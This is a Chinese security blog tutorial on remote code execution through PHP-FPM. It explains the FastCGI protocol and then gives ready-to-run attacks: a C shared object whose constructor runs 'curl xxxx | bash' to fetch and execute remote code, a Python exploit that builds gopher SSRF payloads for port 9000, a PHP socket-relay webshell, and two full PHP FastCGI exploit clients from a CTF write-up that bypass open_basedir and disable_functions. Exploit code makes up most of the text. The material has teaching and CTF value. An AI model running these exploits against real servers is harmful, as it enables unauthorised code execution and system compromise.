您的位置 首页 php

php-fpm rce攻击

原创:daolgts合天智汇

原创投稿活动:

0x00 something

php-fpm (FastCGI Process Manager):FastCGI进程管理器

FastCGI

FastCGI 本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议

fastcgi 协议由多个 record 组成,record 由 header 和 body 组成

typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
 

实验推荐:Fastcgi安全

PHP-FPM

PHP-FPM 是 一个实现和管理 FastCGI 协议的进程

PHP-FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据

一般来说,apache 通过 mod_php 来解析 php,nginx 通过 php-fpm(fast-cgi) 来解析 php 。apache 也可以设置为 php-fpm 方式

mod_php 通过嵌入 PHP 解释器到 apache 进程中,只能与 apache 配合使用

而 cgi 和 fast-cgi 以独立的进程的形式出现,只要对应的Web服务器实现 cgi 或者 fast-cgi 协议,就能够处理 PHP 请求

0x01 PHP-FPM 的模式

nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 ( socket ) 模式

TCP 模式

php-fpm 进程会监听本机上的一个端口,默认为9000,然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ { ... fastcgi_pass 127.0.0.1:9000; ... } ``` php-fpm 的配置文件 `/etc/php/7.3/fpm/pool.d/www.conf`:
 

listen= 127.0.0.1:9000

## Unix Socket unix 系统进程间通信方式,需要通信的两个进程引用同一个 `socket` 描述符文件就可以建立通道进行通信 nginx 的配置文件`/etc/nginx/sites-available/default`:

location ~ .php$ { … fastcgi_pass unix:/run/php/php7.3-fpm.sock; … } “ php-fpm 的配置文件/etc/php/7.3/fpm/pool.d/www.conf`:

listen= /run/php/php7.3-fpm.sock

0x02 任意代码执行

普通 RCE

PHP-FPM 的两个环境变量: PHP_VALUE 和 PHP_ADMIN_VALUE,用来设置PHP配置项

  • PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项
  • PHP_ADMIN_VALUE 可以设置所有选项,但 disable_functions 除外

和php-fpm进行通信,执行php代码

来自p神的文章: #_1

  • 找到一个已存在的PHP文件
  • 设置 auto_prepend_file 为 php://input 且 allow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body中
  • 或者 auto_prepend_file 为 自己的vps地址

但这种方法受限于 disable_functions

绕过 disable_functions RCE

可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果

PHP_ADMIN_VALUE[‘extension’] = hack.so

生成 .so 文件的工具

或者

// gcc -c -fPIC hack.c -o hack // gcc --share hack -o hack.so #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void) { system("curl xxxx | bash"); }
 

0x03 attack

9000端口暴露在外网(未授权访问)

修改 php-fpm的监听端口为 0.0.0.0:9000,也就是任何ip都能访问9000端口,就可以与 php-fpm 进行通信,伪造 fastcgi协议包进行任意代码执行

exp:

SSRF打9000端口

如果9000端口没有开放在外网,可以通过SSRF来打,原理同上

修改后的exp(点击查看):

import socket import random import argparse import sys from io import BytesIO import base64 import urllib # Referrer:  PY2 = True if sys.version_info.major == 2 else False def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i]) def bord(c): if isinstance(c, int): return c else: return ord(c) def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict') def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr( request id & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): # if not self.__connect(): # print('connect failure! please check your fasctcgi-server !!') # return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) # print base64.b64encode(request) return request # self.sock.send(request) # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND # self.requests[requestId]['response'] = b'' # return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } request = client.request(params, content) print "to base64 :" print base64.b64encode(request) # request = urllib.quote(request) print "to ssrf :" print urllib.quote("gopher://127.0.0.1:" + str(args.port) + "/_" + request)
 

Socket通信

直接与 Socket 进行通信,伪造fastcgi协议包进行任意代码执行

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock'); fputs($sock, base64_decode($_POST['A'])); var_dump(fread($sock, 4096)); ?>
 

POST 方式 A 参数传入 base64 编码的 payload

默认套接字的位置在 /run/php/php7.3-fpm.sock

如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径,或者 TCP 模式的端口号

0x04 CTF

* CTF echohub

题目环境是以 apache-module 运行的 php ,但是安装了所有的php拓展并且开启,也包括 php-fpm

也就是说还有一个不带disable_function限制的php环境 php-fpm开启

题目环境运行的 php 无法利用,就来攻击这个 php 实现命令执行

wp: #toc-3
0CTF/TCTF2019_Quals wallbreaker-easy
 

题目如下

Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655 Hint: eval($_POST["backdoor"]);
 

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目源码:

<?php $dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]"); mkdir($dir); ini_set('open_basedir', '/var/www/html:' . $dir); ?> <!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body> <pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`. So I installed php-imagick in the server, opened a `backdoor` for you. Let's try to execute `/readflag` to get the flag. Open basedir: <?php echo ini_get('open_basedir');?> <?php eval($_POST["backdoor"]);?> Hint: eval($_POST["backdoor"]);
 

题目是一个限制了 open_basedir 和 disable_functions 的webshell

题目有很多种解法,这里记录一下利用 PHP-FPM来绕过 open_basedir 的限制,读到flag

这里贴两个exp

<details>

<summary>exp1

exp1(点击查看):</summary>

<?php /** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */ /** * Handles communication with a FastCGI application * * @author Pierrick Charron <pierrick@webstart.fr> * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = '';  foreach  ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> <?php // real exploit start here if (!isset($_REQUEST['cmd'])) { die("Check your input\n"); } if (!isset($_REQUEST['filepath'])) { $filepath = __FILE__; }else{ $filepath = $_REQUEST['filepath']; } $req = '/'.basename($filepath); $uri = $req .'?'.'command='.$_REQUEST['cmd']; $client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1); $code = "<?php echo(\$_REQUEST['command']);?>"; // php payload //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); echo "Call: $uri\n\n"; echo strstr($client->request($params, $code), "PHP Version", true)."\n"; ?>
 

</p></details>

<details><summary>

exp2(点击查看):</summary><p>

<?php class TimedOutException extends Exception { } class ForbiddenException extends Exception { } class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; const REQ_STATE_WRITTEN = 1; const REQ_STATE_OK = 2; const REQ_STATE_ERR = 3; const REQ_STATE_TIMED_OUT = 4; private $_sock = null; private $_host = null; private $_port = null; private $_keepAlive = false; private $_requests = array(); private $_persistentSocket = false; private $_connectTimeout = 5000; private $_readWriteTimeout = 5000; public function __construct($host, $port) { $this->_host = $host; $this->_port = $port; } public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } public function getKeepAlive() { return $this->_keepAlive; } public function setPersistentSocket($b) { $was_persistent = ($this->_sock && $this->_persistentSocket); $this->_persistentSocket = (boolean)$b; if (!$this->_persistentSocket && $was_persistent) { fclose($this->_sock); } } public function getPersistentSocket() { return $this->_persistentSocket; } public function setConnectTimeout($timeoutMs) { $this->_connectTimeout = $timeoutMs; } public function getConnectTimeout() { return $this->_connectTimeout; } public function setReadWriteTimeout($timeoutMs) { $this->_readWriteTimeout = $timeoutMs; $this->set_ms_timeout($this->_readWriteTimeout); } public function getReadWriteTimeout() { return $this->_readWriteTimeout; } private function set_ms_timeout($timeoutMs) { if (!$this->_sock) { return false; } return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000); } private function connect() { if (!$this->_sock) { if ($this->_persistentSocket) { $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000); } else { $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000); } if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application: ' . $errstr); } if (!$this->set_ms_timeout($this->_readWriteTimeout)) { throw new Exception('Unable to set timeout on socket'); } } } private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair.= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair.= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen|= (ord($data{$p++}) << 16); $nlen|= (ord($data{$p++}) << 8); $nlen|= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen|= (ord($data{$p++}) << 16); $vlen|= (ord($data{$p++}) << 8); $vlen|= (ord($data{$p++})); } $array[substr($data, $p, $nlen) ] = substr($data, $p + $nlen, $vlen); $p+= ($nlen + $vlen); } return $array; } private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && ($buf = fread($this->_sock, $len)) !== false) { $len-= strlen($buf); $resp['content'].= $buf; } } if ($resp['paddingLength']) { $buf = fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request.= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } public function request(array $params, $stdin) { $id = $this->async_request($params, $stdin); return $this->wait_for_response($id); } public function async_request(array $params, $stdin) { $this->connect(); // Pick random number between 1 and max 16 bit unsigned int 65535 $id = mt_rand(1, (1 << 16) - 1); // Using persistent sockets implies you want them keept alive by server! $keepAlive = intval($this->_keepAlive || $this->_persistentSocket); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5), $id); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest.= $this->buildNvpair($key, $value, $id); } if ($paramsRequest) { $request.= $this->buildPacket(self::PARAMS, $paramsRequest, $id); } $request.= $this->buildPacket(self::PARAMS, '', $id); if ($stdin) { $request.= $this->buildPacket(self::STDIN, $stdin, $id); } $request.= $this->buildPacket(self::STDIN, '', $id); if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) { $info = stream_get_meta_data($this->_sock); if ($info['timed_out']) { throw new TimedOutException('Write timed out'); } // Broken pipe, tear down so future requests might succeed fclose($this->_sock); throw new Exception('Failed to write request to socket'); } $this->_requests[$id] = array('state' => self::REQ_STATE_WRITTEN, 'response' => null); return $id; } public function wait_for_response($requestId, $timeoutMs = 0) { if (!isset($this->_requests[$requestId])) { throw new Exception('Invalid request id given'); } if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR) { return $this->_requests[$requestId]['response']; } if ($timeoutMs > 0) { // Reset timeout on socket for now $this->set_ms_timeout($timeoutMs); } else { $timeoutMs = $this->_readWriteTimeout; } $startTime = microtime(true); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { if ($resp['type'] == self::STDERR) { $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR; } $this->_requests[$resp['requestId']]['response'].= $resp['content']; } if ($resp['type'] == self::END_REQUEST) { $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK; if ($resp['requestId'] == $requestId) { break; } } if (microtime(true) - $startTime >= ($timeoutMs * 1000)) { // Reset $this->set_ms_timeout($this->_readWriteTimeout); throw new Exception('Timed out'); } } while ($resp); if (!is_array($resp)) { $info = stream_get_meta_data($this->_sock); // We must reset timeout but it must be AFTER we get info $this->set_ms_timeout($this->_readWriteTimeout); if ($info['timed_out']) { throw new TimedOutException('Read timed out'); } if ($info['unread_bytes'] == 0 && $info['blocked'] && $info['eof']) { throw new ForbiddenException('Not in white list. Check listen.allowed_clients.'); } throw new Exception('Read failed'); } // Reset timeout $this->set_ms_timeout($this->_readWriteTimeout); switch (ord($resp['content'] { 4 })) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $this->_requests[$requestId]['response']; } } } $client = new Client('unix:///var/run/php/php7.2-fpm.sock', -1); $php_value = "open_basedir = /"; $filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php'; $content = 'rai4over'; echo $client->request(array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => strlen($content), 'PHP_VALUE' => $php_value, ), $content);
 

两个exp都是用php实现了一个Fast CGI Client,然后去连接 php-fpm 的 sock,绕过 open_basedir 执行代码

具体过程是先传上 exp.php(上面的exp),然后 include 它,就能绕过 open_basedir 的限制

